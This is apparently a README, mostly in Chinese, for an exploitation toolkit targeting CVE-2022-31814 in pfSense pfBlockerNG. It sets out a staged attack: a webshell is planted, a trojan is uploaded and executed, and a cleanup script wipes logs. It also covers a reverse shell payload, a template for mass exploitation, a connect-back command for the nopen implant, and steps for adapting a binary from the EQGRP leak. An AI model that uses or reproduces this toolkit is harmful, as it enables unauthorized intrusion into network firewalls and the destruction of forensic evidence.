
CVE-2022-31814 Exploitation Toolkit.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) 利用工具包。
这是一个针对 pfSense pfBlockerNG <= 2.1.4_26 插件远程命令注入漏洞(由 IHTeam 发现)的利用工具包。
我编写这个工具是为了模拟 NSA 防火墙利用工具包中的一些设计原则——因此,它设计为完全兼容 nopen 植入(只需一个小的、已文档化的修改),内置日志清除功能,并通过实现一些预检检查(被动和主动漏洞测试)来确保极高的可靠性。
提供了一个用 Python 编写的简单反向 TTY Shell 载荷作为本工具包中 nopen 的替代品,因为在生产环境中运行从 NSA 盗取的草图二进制文件似乎有些愚蠢。
为了进行赏金猎杀式扫描和大规模利用,请运行提供的 nuclei 模板(它现在应该已经上游合并了)。该文件名为 nuclei-CVE-2022-31814.yaml。
对于网络的精准护理,有四种你需要注意的“模式”,如下所述。请按顺序运行它们。通过 --mode 标志设置。
此模式会发出两个 HTTP 请求——一个用于检查是否真的是 pfSense(通过检查 / 上的 HTTP 标题),另一个用于检查易受攻击的端点是否正常。此模式不会进行任何利用。
此模式会发出两个 HTTP 请求——两者都会利用漏洞。
它会注入 sleep 1 和 sleep 10 命令,并确保两个请求之间的时间差大于 6 秒。
我加入了一些容错因子,以考虑通过代理(你正在使用代理,对吧?)进行利用时的延迟。
此模式会发出 3 个 HTTP 请求。
第一个利用漏洞通过 GET 请求放置一个 Webshell。
第二个通过 POST 请求使用 Webshell 上传我们的木马。
第三个通过 POST 请求使用 Webshell 执行我们的木马。
此模式会发出两个 HTTP 请求。
第一个使用 Webshell 上传一个清理脚本。
第二个执行清理脚本。
清理脚本会清除日志、删除木马、删除 Webshell,然后删除自身。它使用合理的方式(rm -rf)完成这些操作。在取证上不够安全——我以后可能会用 dd 覆盖文件后再删除。我还可能编写一些 sed 魔法来精确清除日志,但说实话,只有当我真的有心情时才会去做。
要使用 nopen,只需将 exploit() 函数中的最后一条“执行木马”命令替换为以下内容:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
并提供一个在你的目标系统上可用的 FreeBSD nopen(noserver)二进制文件——这可能比较困难,你需要将 EQGRP 泄露中的 noserver-3.3.2.3-freebsd_8.0-i386 进行修补,使其使用 libkvm.so.7 而不是 libkvm.so.5,而且目标系统需要安装 lib32 兼容层……这在 pfSense 中默认并未附带。
我可能会在后续版本中添加 --nopen 标志来自动化此操作,如果人们真的那么在乎使用 nopen 的话。但他们不应该。

IHTeam 公告:https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/